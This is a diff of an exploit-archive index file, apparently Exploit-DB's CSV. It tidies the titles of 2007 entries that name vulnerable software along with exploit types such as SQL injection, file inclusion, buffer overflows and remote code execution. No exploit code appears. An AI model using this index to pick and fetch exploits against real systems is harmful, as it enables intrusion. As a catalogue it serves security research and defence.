-3487,platforms/php/webapps/3487.pl,"CcMail 1.0.1 (update.php functions_dir) Remote  File Inclusion Exploit",2007-03-15,Crackers_Child,php,webapps,0
+3487,platforms/php/webapps/3487.pl,"CcMail 1.0.1 (update.php functions_dir) Remote File Inclusion Exploit",2007-03-15,Crackers_Child,php,webapps,0
 3488,platforms/windows/local/3488.php,"PHP <= 4.4.6 ibase_connect() Local Buffer Overflow Exploit",2007-03-15,rgod,windows,local,0
 3489,platforms/php/webapps/3489.txt,"Creative Guestbook 1.0 Multiple Remote Vulnerabilities",2007-03-15,Dj7xpl,php,webapps,0
 3490,platforms/php/webapps/3490.txt,"WBBlog (XSS/SQL) Multiple Remote Vulnerabilities",2007-03-15,"Mehmet Ince",php,webapps,0
-3491,platforms/bsd/remote/3491.py,"OpenBSD ICMPv6 Fragment Remote Execution Exploit PoC",2007-03-15,"Core Security",bsd,remote,0
+3491,platforms/bsd/remote/3491.py,"OpenBSD - ICMPv6 Fragment Remote Execution Exploit PoC",2007-03-15,"Core Security",bsd,remote,0
 3492,platforms/php/webapps/3492.txt,"WebCalendar 0.9.45 (includedir) Remote File Inclusion Vulnerability",2007-03-15,Drackanz,php,webapps,0
 3493,platforms/asp/webapps/3493.txt,"Absolute Image Gallery 2.0 (gallery.asp categoryid) SQL Injection Vuln",2007-03-15,WiLdBoY,asp,webapps,0
 3494,platforms/php/webapps/3494.txt,"McGallery 0.5b (download.php) Arbitrary File Download Vulnerability",2007-03-15,Piker,php,webapps,0
@@ -3198,16 +3198,16 @@ id,file,description,date,author,platform,type,port
 3535,platforms/hardware/dos/3535.pl,"Grandstream Budge Tone-200 IP Phone (Digest domain) DoS Exploit",2007-03-21,MADYNES,hardware,dos,0
 3536,platforms/asp/webapps/3536.txt,"Active Photo Gallery (default.asp catid) SQL Injection Vulnerability",2007-03-21,CyberGhost,asp,webapps,0
 3537,platforms/windows/remote/3537.py,"Mercur Messaging 2005 IMAP (SUBSCRIBE) Remote Exploit (win2k SP4)",2007-03-21,"Winny Thomas",windows,remote,143
-3538,platforms/php/webapps/3538.txt,"php-revista <= 1.1.2  Multiple Remote SQL Injection Vulnerabilities",2007-03-21,"Cold Zero",php,webapps,0
+3538,platforms/php/webapps/3538.txt,"php-revista <= 1.1.2 Multiple Remote SQL Injection Vulnerabilities",2007-03-21,"Cold Zero",php,webapps,0
 3539,platforms/php/webapps/3539.txt,"Mambo Component nfnaddressbook 0.4 Remote File Inclusion Vulnerability",2007-03-21,"Cold Zero",php,webapps,0
-3540,platforms/windows/remote/3540.py,"Mercur Messaging 2005 <= SP4 IMAP Remote Exploit (egghunter mod)",2007-03-21,muts,windows,remote,143
+3540,platforms/windows/remote/3540.py,"Mercur Messaging 2005 <= SP4 - IMAP Remote Exploit (egghunter mod)",2007-03-21,muts,windows,remote,143
 3541,platforms/windows/remote/3541.pl,"FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit",2007-03-22,"Umesh Wanve",windows,remote,69
 3542,platforms/php/webapps/3542.txt,"ClassWeb 2.0.3 (BASE) Remote File Inclusion Vulnerabilities",2007-03-22,GoLd_M,php,webapps,0
 3543,platforms/php/webapps/3543.pl,"PortailPhp 2.0 (idnews) Remote SQL Injection Exploit",2007-03-22,"Mehmet Ince",php,webapps,0
 3544,platforms/windows/remote/3544.c,"Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit",2007-03-22,"Andres Tarasco",windows,remote,0
 3545,platforms/php/webapps/3545.txt,"LMS <= 1.8.9 Vala Remote File Inclusion Vulnerabilities",2007-03-22,Kacper,php,webapps,0
 3546,platforms/asp/webapps/3546.txt,"aspWebCalendar 4.5 (calendar.asp eventid) SQL Injection Vulnerability",2007-03-22,parad0x,asp,webapps,0
-3547,platforms/windows/dos/3547.c,"0irc-client v1345 build20060823 Denial of Service  Exploit",2007-03-22,DiGitalX,windows,dos,0
+3547,platforms/windows/dos/3547.c,"0irc-client 1345 build20060823 - Denial of Service Exploit",2007-03-22,DiGitalX,windows,dos,0
 3548,platforms/php/webapps/3548.pl,"RoseOnlineCMS 3 beta2 (op) Local File Inclusion Exploit",2007-03-23,GoLd_M,php,webapps,0
 3549,platforms/asp/webapps/3549.txt,"Active Trade v 2 (default.asp catid) Remote SQL Injection Vulnerability",2007-03-23,CyberGhost,asp,webapps,0
 3550,platforms/asp/webapps/3550.txt,"ActiveBuyandSell 6.2 (buyersend.asp catid) SQL Injection Vulnerability",2007-03-23,CyberGhost,asp,webapps,0
@@ -3222,7 +3222,7 @@ id,file,description,date,author,platform,type,port
 3560,platforms/php/webapps/3560.txt,"Joomla Component Joomlaboard 1.1.1 (sbp) RFI Vulnerability",2007-03-23,"Cold Zero",php,webapps,0
 3561,platforms/windows/remote/3561.pl,"Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit",2007-03-24,"Jacopo Cervini",windows,remote,143
 3562,platforms/php/webapps/3562.txt,"Net-Side.net CMS (index.php cms) Remote File Inclusion Vulnerability",2007-03-24,Sharingan,php,webapps,0
-3563,platforms/php/webapps/3563.txt,"ttCMS <= v4 (ez_sql.php lib_path) Remote File Inclusion Vulnerability",2007-03-24,Kacper,php,webapps,0
+3563,platforms/php/webapps/3563.txt,"ttCMS <= 4 - (ez_sql.php lib_path) Remote File Inclusion Vulnerability",2007-03-24,Kacper,php,webapps,0
 3564,platforms/php/webapps/3564.pl,"Joomla Component Car Manager <= 1.1 Remote SQL Injection Exploit",2007-03-24,ajann,php,webapps,0
 3565,platforms/php/webapps/3565.pl,"Joomla Component RWCards <= 2.4.3 Remote SQL Injection Exploit",2007-03-24,ajann,php,webapps,0
 3566,platforms/multiple/dos/3566.pl,"Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit",2007-03-25,MADYNES,multiple,dos,0
@@ -3242,7 +3242,7 @@ id,file,description,date,author,platform,type,port
 3581,platforms/php/webapps/3581.pl,"IceBB 1.0-rc5 Remote Code Execution Exploit",2007-03-26,Hessam-x,php,webapps,0
 3582,platforms/php/webapps/3582.pl,"PHP-Nuke Module Addressbook 1.2 Local File Inclusion Exploit",2007-03-26,bd0rk,php,webapps,0
 3583,platforms/php/webapps/3583.txt,"C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability",2007-03-26,K-159,php,webapps,0
-3584,platforms/multiple/remote/3584.pl,"Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2",2007-03-27,bunker,multiple,remote,0
+3584,platforms/multiple/remote/3584.pl,"Oracle 10g KUPM$MCP.MAIN - SQL Injection Exploit (2)",2007-03-27,bunker,multiple,remote,0
 3585,platforms/multiple/remote/3585.pl,"Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit",2007-03-27,bunker,multiple,remote,0
 3586,platforms/linux/dos/3586.php,"PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC",2007-03-27,"Stefan Esser",linux,dos,0
 3587,platforms/linux/local/3587.c,"Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit",2007-03-27,"Robert Swiecki",linux,local,0
@@ -3253,7 +3253,7 @@ id,file,description,date,author,platform,type,port
 3592,platforms/php/webapps/3592.htm,"Web Content System 2.7.1 Remote File Inclusion Exploit",2007-03-27,kezzap66345,php,webapps,0
 3593,platforms/windows/local/3593.c,"Corel Wordperfect X3 13.0.0.565 (.PRS) Local Buffer Overflow Exploit",2007-03-28,"Jonathan So",windows,local,0
 3594,platforms/php/webapps/3594.pl,"XOOPS module Articles <= 1.03 (index.php cat_id) SQL Injection Exploit",2007-03-28,ajann,php,webapps,0
-3595,platforms/linux/local/3595.c,"Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit v2",2007-03-28,"Robert Swiecki",linux,local,0
+3595,platforms/linux/local/3595.c,"Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit (2)",2007-03-28,"Robert Swiecki",linux,local,0
 3596,platforms/php/webapps/3596.txt,"iPhotoAlbum 1.1 (header.php) Remote File Include Vulnerability",2007-03-28,GoLd_M,php,webapps,0
 3597,platforms/php/webapps/3597.pl,"XOOPS Module Friendfinder <= 3.3 (view.php id) SQL Injection Exploit",2007-03-28,ajann,php,webapps,0
 3598,platforms/php/webapps/3598.txt,"MangoBery CMS 0.5.5 (quotes.php) Remote File Inclusion Vulnerability",2007-03-28,kezzap66345,php,webapps,0
@@ -3305,7 +3305,7 @@ id,file,description,date,author,platform,type,port
 3647,platforms/windows/local/3647.c,"MS Windows Animated Cursor (.ANI) Local Buffer Overflow Exploit",2007-04-02,Marsu,windows,local,0
 3648,platforms/windows/local/3648.c,"IrfanView 3.99 (.ANI File) Local Buffer Overflow Exploit",2007-04-02,Marsu,windows,local,0
 3649,platforms/windows/local/3649.c,"Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow Exploit",2007-04-02,Marsu,windows,local,0
-3650,platforms/windows/remote/3650.c,"Frontbase <= 4.2.7 POST-AUTH Remote Buffer Overflow Exploit v2.2",2007-04-02,Heretic2,windows,remote,0
+3650,platforms/windows/remote/3650.c,"Frontbase <= 4.2.7 - POST-AUTH Remote Buffer Overflow Exploit (2.2)",2007-04-02,Heretic2,windows,remote,0
 3651,platforms/windows/remote/3651.txt,"MS Windows Animated Cursor (.ANI) Universal Exploit Generator",2007-04-03,"YAG KOHHA",windows,remote,0
 3652,platforms/windows/local/3652.c,"MS Windows Animated Cursor (.ANI) Overflow Exploit (Hardware DEP)",2007-04-03,devcode,windows,local,0
 3653,platforms/php/webapps/3653.php,"MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit",2007-04-03,DarkFig,php,webapps,0
@@ -3360,7 +3360,7 @@ id,file,description,date,author,platform,type,port
 3703,platforms/php/webapps/3703.txt,"Joomla/Mambo Component Taskhopper 1.1 RFI Vulnerabilities",2007-04-10,"Cold Zero",php,webapps,0
 3704,platforms/php/webapps/3704.txt,"pL-PHP beta 0.9 Multiple Remote Vulnerabilities",2007-04-10,Omni,php,webapps,0
 3705,platforms/php/webapps/3705.txt,"SimpCMS <= 04.10.2007 (site) Remote File Inclusion Vulnerability",2007-04-10,Dr.RoVeR,php,webapps,0
-3706,platforms/php/webapps/3706.txt,"Mambo Component zOOm Media Gallery <=    2.5 Beta 2 RFI Vulnerabilities",2007-04-11,iskorpitx,php,webapps,0
+3706,platforms/php/webapps/3706.txt,"Mambo Component zOOm Media Gallery <= 2.5 Beta 2 RFI Vulnerabilities",2007-04-11,iskorpitx,php,webapps,0
 3707,platforms/php/webapps/3707.txt,"TOSMO/Mambo 1.4.13a (absolute_path) Remote File Inclusion Vulns",2007-04-11,"Cold Zero",php,webapps,0
 3708,platforms/multiple/remote/3708.htm,"MiniWebsvr 0.0.7 Remote Directory Transversal Exploit",2007-04-11,shinnai,multiple,remote,0
 3709,platforms/multiple/dos/3709.html,"Gran Paradiso 3.0a3 non-existent applet Denial of Service Exploit",2007-04-11,shinnai,multiple,dos,0
@@ -3377,7 +3377,7 @@ id,file,description,date,author,platform,type,port
 3721,platforms/php/webapps/3721.pl,"e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)",2007-04-12,Gammarays,php,webapps,0
 3722,platforms/php/webapps/3722.txt,"Expow 0.8 (autoindex.php cfg_file) Remote File Inclusion Vulnerability",2007-04-12,mdx,php,webapps,0
 3723,platforms/php/webapps/3723.txt,"Request It 1.0b (index.php id) Remote File Inclusion Vulnerability",2007-04-12,hackberry,php,webapps,0
-3724,platforms/linux/remote/3724.c,"Aircrack-ng 0.7 (specially crafted 802.11 packets) Remote BoF Exploit",2007-04-12,"Jonathan So",linux,remote,0
+3724,platforms/linux/remote/3724.c,"Aircrack-ng 0.7 - (Specially Crafted 802.11 Packets) Remote BoF Exploit",2007-04-12,"Jonathan So",linux,remote,0
 3725,platforms/php/webapps/3725.php,"Chatness <= 2.5.3 (options.php/save.php) Remote Code Execution Exploit",2007-04-12,Gammarays,php,webapps,0
 3726,platforms/multiple/dos/3726.c,"Ettercap-NG 0.7.3 Remote Denial of Service Exploit",2007-04-13,evilrabbi,multiple,dos,0
 3727,platforms/windows/local/3727.c,"VCDGear <= 3.56 Build 050213 (FILE) Local Code Execution Exploit",2007-04-13,InTeL,windows,local,0
@@ -3388,7 +3388,7 @@ id,file,description,date,author,platform,type,port
 3732,platforms/php/webapps/3732.txt,"Garennes 0.6.1 (repertoire_config) Remote File Inclusion Vulnerabilities",2007-04-13,GoLd_M,php,webapps,0
 3733,platforms/php/webapps/3733.txt,"Pixaria Gallery 1.x (class.Smarty.php) Remote File Include Vulnerability",2007-04-14,irvian,php,webapps,0
 3734,platforms/php/webapps/3734.txt,"Joomla Module AutoStand 1.0 Remote File Inclusion Vulnerability",2007-04-14,"Cold Zero",php,webapps,0
-3735,platforms/php/webapps/3735.txt,"LS simple guestbook (v1) Remote Code Execution Vulnerability",2007-04-14,Gammarays,php,webapps,0
+3735,platforms/php/webapps/3735.txt,"LS Simple Guestbook 1.0 - Remote Code Execution Vulnerability",2007-04-14,Gammarays,php,webapps,0
 3736,platforms/php/webapps/3736.txt,"Mambo/Joomla Component Article 1.1 Remote File Inclusion Vulnerability",2007-04-14,"Cold Zero",php,webapps,0
 3737,platforms/windows/remote/3737.py,"MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)",2007-04-15,"Winny Thomas",windows,remote,139
 3738,platforms/windows/remote/3738.php,"XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit",2007-04-15,rgod,windows,remote,80
@@ -3399,7 +3399,7 @@ id,file,description,date,author,platform,type,port
 3743,platforms/php/webapps/3743.txt,"Gallery 1.2.5 (GALLERY_BASEDIR) Multiple RFI Vulnerabilities",2007-04-15,GoLd_M,php,webapps,0
 3744,platforms/php/webapps/3744.txt,"audioCMS arash 0.1.4 (arashlib_dir) Remote File Inclusion Vulnerabilities",2007-04-15,GoLd_M,php,webapps,0
 3745,platforms/php/webapps/3745.txt,"Web Slider 0.6 (path) Remote File Inclusion Vulnerabilities",2007-04-15,GoLd_M,php,webapps,0
-3746,platforms/windows/remote/3746.txt,"MS Windows DNS RPC Remote Buffer Overflow Exploit (port 445) v2",2007-04-18,"Andres Tarasco",windows,remote,445
+3746,platforms/windows/remote/3746.txt,"Microsoft Windows DNS RPC - Remote Buffer Overflow Exploit (port 445) (2)",2007-04-18,"Andres Tarasco",windows,remote,445
 3747,platforms/php/webapps/3747.txt,"openMairie 1.10 (scr/soustab.php) Local File Inclusion Vulnerability",2007-04-16,GoLd_M,php,webapps,0
 3748,platforms/php/webapps/3748.txt,"SunShop Shopping Cart <= 3.5 (abs_path) RFI Vulnerabilities",2007-04-16,irvian,php,webapps,0
 3749,platforms/php/webapps/3749.txt,"StoreFront for Gallery (GALLERY_BASEDIR) RFI Vulnerabilities",2007-04-16,"Alkomandoz Hacker",php,webapps,0
@@ -3425,7 +3425,7 @@ id,file,description,date,author,platform,type,port
 3769,platforms/linux/dos/3769.c,"eXtremail <= 2.1.1 DNS Parsing Bugs Remote Exploit PoC",2007-04-20,mu-b,linux,dos,0
 3770,platforms/windows/dos/3770.pl,"Foxit Reader 2.0 (PDF) Remote Denial of Service Exploit",2007-04-20,n00b,windows,dos,0
 3771,platforms/php/webapps/3771.txt,"Supasite 1.23b Multiple Remote File Inclusion Vulnerabilities",2007-04-21,GoLd_M,php,webapps,0
-3772,platforms/windows/local/3772.c,"Photofiltre Studio v8.1.1 (.TIF File) Local Buffer Overflow Exploit",2007-04-21,Marsu,windows,local,0
+3772,platforms/windows/local/3772.c,"Photofiltre Studio 8.1.1 - (.TIF File) Local Buffer Overflow Exploit",2007-04-21,Marsu,windows,local,0
 3773,platforms/php/webapps/3773.txt,"JChit counter 1.0.0 (imgsrv.php ac) Remote File Disclosure Vulnerability",2007-04-22,Dj7xpl,php,webapps,0
 3774,platforms/php/webapps/3774.txt,"PHP-Ring Webring System 0.9 Remote SQL Injection Vulnerability",2007-04-22,Dj7xpl,php,webapps,0
 3775,platforms/php/webapps/3775.txt,"Maran PHP Forum (forum_write.php) Remote Code Execution Vulnerability",2007-04-22,Dj7xpl,php,webapps,0
@@ -3488,7 +3488,7 @@ id,file,description,date,author,platform,type,port
 3832,platforms/php/webapps/3832.txt,"1024 CMS 0.7 (download.php item) Remote File Disclosure Vulnerability",2007-05-02,Dj7xpl,php,webapps,0
 3833,platforms/php/webapps/3833.pl,"mxBB Module FAQ & RULES 2.0.0 Remote File Inclusion Exploit",2007-05-02,bd0rk,php,webapps,0
 3834,platforms/php/webapps/3834.php,"YaPIG 0.95b Remote Code Execution Exploit",2007-05-02,Dj7xpl,php,webapps,0
-3835,platforms/php/webapps/3835.txt,"PostNuke Module v4bJournal Remote SQL Injection Vulnerability",2007-05-02,"Ali Abbasi",php,webapps,0
+3835,platforms/php/webapps/3835.txt,"PostNuke Module v4bJournal - Remote SQL Injection Vulnerability",2007-05-02,"Ali Abbasi",php,webapps,0
 3836,platforms/windows/dos/3836.html,"Word Viewer OCX 3.2 Remote Denial of Service Exploit",2007-05-03,shinnai,windows,dos,0
 3837,platforms/php/webapps/3837.txt,"phpChess Community Edition 2.0 Multiple RFI Vulnerabilities",2007-05-03,GoLd_M,php,webapps,0
 3838,platforms/php/webapps/3838.txt,"Open Translation Engine (OTE) 0.7.8 (header.php ote_home) RFI Vuln",2007-05-03,GoLd_M,php,webapps,0
@@ -3579,7 +3579,7 @@ id,file,description,date,author,platform,type,port
 3925,platforms/windows/remote/3925.py,"TinyIdentD <= 2.2 Remote Buffer Overflow Exploit",2007-05-14,"Thomas Pollet",windows,remote,113
 3926,platforms/windows/dos/3926.py,"MS Windows Vista forged ARP packet Network Stack DoS Exploit",2007-05-15,"Kristian Hermansen",windows,dos,0
 3927,platforms/windows/remote/3927.html,"DeWizardX (DEWizardAX.ocx) Arbitrary File Overwrite Exploit",2007-05-15,shinnai,windows,remote,0
-3928,platforms/php/webapps/3928.txt,"Achievo 1.1.0 (atk.inc  config_atkroot) Remote File Inclusion Vulnerability",2007-05-15,Katatafish,php,webapps,0
+3928,platforms/php/webapps/3928.txt,"Achievo 1.1.0 (atk.inc config_atkroot) Remote File Inclusion Vulnerability",2007-05-15,Katatafish,php,webapps,0
 3929,platforms/windows/dos/3929.txt,"BitsCast 0.13.0 (invalid string) Remote Denial of Service Exploit",2007-05-15,gbr,windows,dos,0
 3930,platforms/windows/dos/3930.txt,"NewzCrawler 1.8 (invalid string) Remote Denial of Service Exploit",2007-05-15,gbr,windows,dos,0
 3931,platforms/php/webapps/3931.htm,"XOOPS Module resmanager <= 1.21 BLIND SQL Injection Exploit",2007-05-15,ajann,php,webapps,0
@@ -3594,7 +3594,7 @@ id,file,description,date,author,platform,type,port
 3940,platforms/windows/dos/3940.py,"CA BrightStor Backup 11.5.2.0 Mediasvr.exe Denial of Service Exploit",2007-05-16,Shirkdog,windows,dos,0
 3941,platforms/php/webapps/3941.txt,"PHPGlossar 0.8 (format_menue) Remote File Inclusion Vulnerabilities",2007-05-16,kezzap66345,php,webapps,0
 3942,platforms/php/webapps/3942.pl,"SimpNews <= 2.40.01 (print.php newnr) Remote SQL Injection Exploit",2007-05-16,Silentz,php,webapps,0
-3943,platforms/php/webapps/3943.pl,"FAQEngine <= 4.16.03 (question.php questionref)  SQL Injection Exploit",2007-05-16,Silentz,php,webapps,0
+3943,platforms/php/webapps/3943.pl,"FAQEngine <= 4.16.03 (question.php questionref) SQL Injection Exploit",2007-05-16,Silentz,php,webapps,0
 3944,platforms/php/webapps/3944.txt,"Mambo com_yanc 1.4 beta (id) Remote SQL Injection Vulnerability",2007-05-17,"Mehmet Ince",php,webapps,0
 3945,platforms/linux/dos/3945.rb,"MagicISO <= 5.4(build239) .cue File Heap Overflow PoC",2007-05-17,n00b,linux,dos,0
 3946,platforms/php/webapps/3946.txt,"GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability",2007-05-17,diesl0w,php,webapps,0
@@ -3608,7 +3608,7 @@ id,file,description,date,author,platform,type,port
 3954,platforms/windows/remote/3954.py,"Rational Software Hidden Administrator 1.7 Auth Bypass Exploit",2007-05-19,"Ahmed Siddiqui",windows,remote,69
 3955,platforms/php/webapps/3955.py,"Zomplog <= 3.8 (mp3playlist.php speler) Remote SQL Injection Exploit",2007-05-20,NeoMorphS,php,webapps,0
 3956,platforms/php/webapps/3956.php,"AlstraSoft E-Friends <= 4.21 Admin Session Retrieve Exploit",2007-05-20,BlackHawk,php,webapps,0
-3957,platforms/php/webapps/3957.php,"AlstraSoft Live Support v1.21 Admin Credential Retrieve Exploit",2007-05-20,BlackHawk,php,webapps,0
+3957,platforms/php/webapps/3957.php,"AlstraSoft Live Support 1.21 - Admin Credential Retrieve Exploit",2007-05-20,BlackHawk,php,webapps,0
 3958,platforms/php/webapps/3958.php,"AlstraSoft Template Seller Pro <= 3.25 Admin Password Change Exploit",2007-05-20,BlackHawk,php,webapps,0
 3959,platforms/php/webapps/3959.php,"AlstraSoft Template Seller Pro <= 3.25 Remote Code Execution Exploit",2007-05-20,BlackHawk,php,webapps,0
 3960,platforms/php/webapps/3960.php,"Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit",2007-05-21,waraxe,php,webapps,0
@@ -3645,7 +3645,7 @@ id,file,description,date,author,platform,type,port
 3991,platforms/php/webapps/3991.txt,"OpenBASE 0.6a (root_prefix) Remote File Inclusion Vulnerabilities",2007-05-25,DeltahackingTEAM,php,webapps,0
 3992,platforms/php/webapps/3992.txt,"FlaP 1.0b (pachtofile) Remote File Inclusion Vulnerabilities",2007-05-25,"Mehmet Ince",php,webapps,0
 3993,platforms/windows/remote/3993.html,"IE 6 / Ademco, co., ltd. ATNBaseLoader100 Module Remote BoF Exploit",2007-05-26,rgod,windows,remote,0
-3994,platforms/php/webapps/3994.txt,"Mazens PHP Chat V3 (basepath) Remote File Inclusion Vulnerabilities",2007-05-26,"ThE TiGeR",php,webapps,0
+3994,platforms/php/webapps/3994.txt,"Mazens PHP Chat V3 (basepath) - Remote File Inclusion Vulnerabilities",2007-05-26,"ThE TiGeR",php,webapps,0
 3995,platforms/php/webapps/3995.txt,"TROforum 0.1 (admin.php site_url) Remote File Inclusion Vulnerability",2007-05-26,"Mehmet Ince",php,webapps,0
 3996,platforms/windows/remote/3996.c,"Apache 2.0.58 mod_rewrite Remote Overflow Exploit (win2k3)",2007-05-26,fabio/b0x,windows,remote,80
 3997,platforms/php/webapps/3997.txt,"Frequency Clock 0.1b (securelib) Remote File Inclusion Vulnerabilities",2007-05-27,"ThE TiGeR",php,webapps,0
@@ -3661,7 +3661,7 @@ id,file,description,date,author,platform,type,port
 4007,platforms/asp/webapps/4007.txt,"Vizayn Urun Tanitim Sistemi 0.2 (tr) Remote SQL Injection Vulnerability",2007-05-30,BAHADIR,asp,webapps,0
 4008,platforms/windows/remote/4008.html,"Zenturi ProgramChecker ActiveX File Download/Overwrite Exploit",2007-05-30,shinnai,windows,remote,0
 4009,platforms/windows/dos/4009.html,"EDraw Office Viewer Component Denial of Service Exploit",2007-05-30,shinnai,windows,dos,0
-4010,platforms/windows/remote/4010.html,"EDraw Office Viewer Component Unsafe Method  Exploit",2007-05-30,shinnai,windows,remote,0
+4010,platforms/windows/remote/4010.html,"EDraw Office Viewer Component Unsafe Method Exploit",2007-05-30,shinnai,windows,remote,0
 4011,platforms/windows/dos/4011.html,"LeadTools Raster ISIS Object (LTRIS14e.DLL v. 14.5.0.44) Remote BoF",2007-05-30,shinnai,windows,dos,0
 4012,platforms/windows/dos/4012.html,"LeadTools Raster OCR Document Object Library Memory Corruption Exploit",2007-05-30,shinnai,windows,dos,0
 4013,platforms/osx/local/4013.txt,"Mac OS X < 2007-005 (vpnd) Local Privilege Escalation Exploit",2007-05-30,"Kevin Finisterre",osx,local,0
@@ -3676,7 +3676,7 @@ id,file,description,date,author,platform,type,port
 4023,platforms/windows/remote/4023.html,"IE6 / Provideo Camimage (ISSCamControl.dll 1.0.1.5) Remote BoF Exploit",2007-06-02,rgod,windows,remote,0
 4024,platforms/windows/local/4024.rb,"DVD X Player 4.1 Professional .PLF file Buffer Overflow Exploit",2007-06-02,n00b,windows,local,0
 4025,platforms/php/webapps/4025.php,"Quick.Cart <= 2.2 RFI/LFI Remote Code Execution Exploit",2007-06-02,Kacper,php,webapps,0
-4026,platforms/php/webapps/4026.php,"PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit",2007-06-03,Kacper,php,webapps,0
+4026,platforms/php/webapps/4026.php,"PNphpBB2 <= 1.2 - (index.php c) Remote SQL Injection Exploit",2007-06-03,Kacper,php,webapps,0
 4027,platforms/windows/remote/4027.py,"IBM Tivoli Provisioning Manager PRE AUTH Remote Exploit",2007-06-03,muts,windows,remote,8080
 4028,platforms/linux/local/4028.txt,"screen 4.0.3 Local Authentication Bypass Vulnerability (OpenBSD)",2008-06-18,Rembrandt,linux,local,0
 4029,platforms/php/webapps/4029.php,"Sendcard <= 3.4.1 (Local File Inclusion) Remote Code Execution Exploit",2007-06-04,Silentz,php,webapps,0
@@ -3697,8 +3697,8 @@ id,file,description,date,author,platform,type,port
 4044,platforms/windows/dos/4044.txt,"MS Windows GDI+ ICO File Remote Denial of Service Exploit",2007-06-07,kad,windows,dos,0
 4045,platforms/windows/remote/4045.py,"Microsoft Windows Animated Cursor Stack Overflow Exploit",2007-06-07,"RISE Security",windows,remote,0
 4046,platforms/windows/dos/4046.pl,"MiniWeb Http Server 0.8.x Remote Denial of Service Exploit",2007-06-07,gbr,windows,dos,0
-4047,platforms/windows/dos/4047.c,"SafeNET High Assurance Remote 1.4.0  (IPSecDrv.sys) Remote DoS",2007-06-08,mu-b,windows,dos,0
-4049,platforms/windows/remote/4049.html,"Zenturi ProgramChecker ActiveX  Multiple Insecure Methods Exploit",2007-06-08,shinnai,windows,remote,0
+4047,platforms/windows/dos/4047.c,"SafeNET High Assurance Remote 1.4.0 (IPSecDrv.sys) Remote DoS",2007-06-08,mu-b,windows,dos,0
+4049,platforms/windows/remote/4049.html,"Zenturi ProgramChecker ActiveX Multiple Insecure Methods Exploit",2007-06-08,shinnai,windows,remote,0
 4050,platforms/windows/remote/4050.html,"Zenturi ProgramChecker ActiveX NavigateUrl() Insecure Method Exploit",2007-06-08,shinnai,windows,remote,0
 4051,platforms/windows/local/4051.rb,"MoviePlay 4.76 .lst File Local Buffer Overflow Exploit",2007-06-08,n00b,windows,local,0
 4052,platforms/windows/remote/4052.c,"Yahoo! Messenger Webcam 8.1 (Ywcvwr.dll) Download / Execute Exploit",2007-06-08,Excepti0n,windows,remote,0
@@ -3745,7 +3745,7 @@ id,file,description,date,author,platform,type,port
 4096,platforms/php/webapps/4096.php,"Pluxml 0.3.1 Remote Code Execution Exploit",2007-06-24,DarkFig,php,webapps,0
 4097,platforms/php/webapps/4097.txt,"DAGGER Web Engine <= 23jan2007 Remote File Inclusion Vulnerability",2007-06-24,Katatafish,php,webapps,0
 4098,platforms/php/webapps/4098.php,"Simple Invoices 2007 05 25 (index.php submit) SQL Injection Exploit",2007-06-24,Kacper,php,webapps,0
-4099,platforms/php/webapps/4099.txt,"e107 <= 0.7.8 (photograph) Arbitrary File Upload Vulnerability",2007-06-24,g00ns,php,webapps,0
+4099,platforms/php/webapps/4099.txt,"e107 <= 0.7.8 - (photograph) Arbitrary File Upload Vulnerability",2007-06-24,g00ns,php,webapps,0
 4100,platforms/php/webapps/4100.txt,"phpTrafficA <= 1.4.2 (pageid) Remote SQL Injection Vulnerability",2007-06-24,"laurent gaffié ",php,webapps,0
 4101,platforms/windows/remote/4101.html,"NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) Exploit",2007-06-25,shinnai,windows,remote,0
 4102,platforms/php/webapps/4102.txt,"b1gbb 2.24.0 (footer.inc.php tfooter) Remote File Inclusion Vulnerability",2007-06-25,Rf7awy,php,webapps,0
@@ -3765,7 +3765,7 @@ id,file,description,date,author,platform,type,port
 4116,platforms/php/webapps/4116.txt,"QuickTicket 1.2 (qti_checkname.php) Local File Inclusion Vulnerability",2007-06-27,Katatafish,php,webapps,0
 4118,platforms/windows/dos/4118.html,"RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow PoC",2007-06-27,axis,windows,dos,0
 4119,platforms/windows/remote/4119.html,"HP Digital Imaging (hpqxml.dll 2.0.0.133) Arbitary Data Write Exploit",2007-06-27,callAX,windows,remote,0
-4120,platforms/windows/dos/4120.html,"Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC",2007-06-27,str0ke,windows,dos,0
+4120,platforms/windows/dos/4120.html,"Sony Network Camera SNC-P5 1.0 - ActiveX viewer Heap Overflow PoC",2007-06-27,str0ke,windows,dos,0
 4121,platforms/windows/dos/4121.txt,"Microsoft Excel 2000/2003 Sheet Name Vulnerability PoC",2007-06-27,ZhenHan.Liu,windows,dos,0
 4122,platforms/php/webapps/4122.txt,"b1gbb 2.24.0 (SQL Injection / XSS) Remote Vulnerabilities",2007-06-28,GoLd_M,php,webapps,0
 4123,platforms/windows/remote/4123.html,"AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) BoF Exploit",2007-06-28,rgod,windows,remote,0
@@ -3792,7 +3792,7 @@ id,file,description,date,author,platform,type,port
 4144,platforms/php/webapps/4144.php,"MyCMS <= 0.9.8 Remote Command Execution Exploit (2 method)",2007-07-03,BlackHawk,php,webapps,0
 4145,platforms/php/webapps/4145.php,"MyCMS <= 0.9.8 Remote Command Execution Exploit",2007-07-03,BlackHawk,php,webapps,0
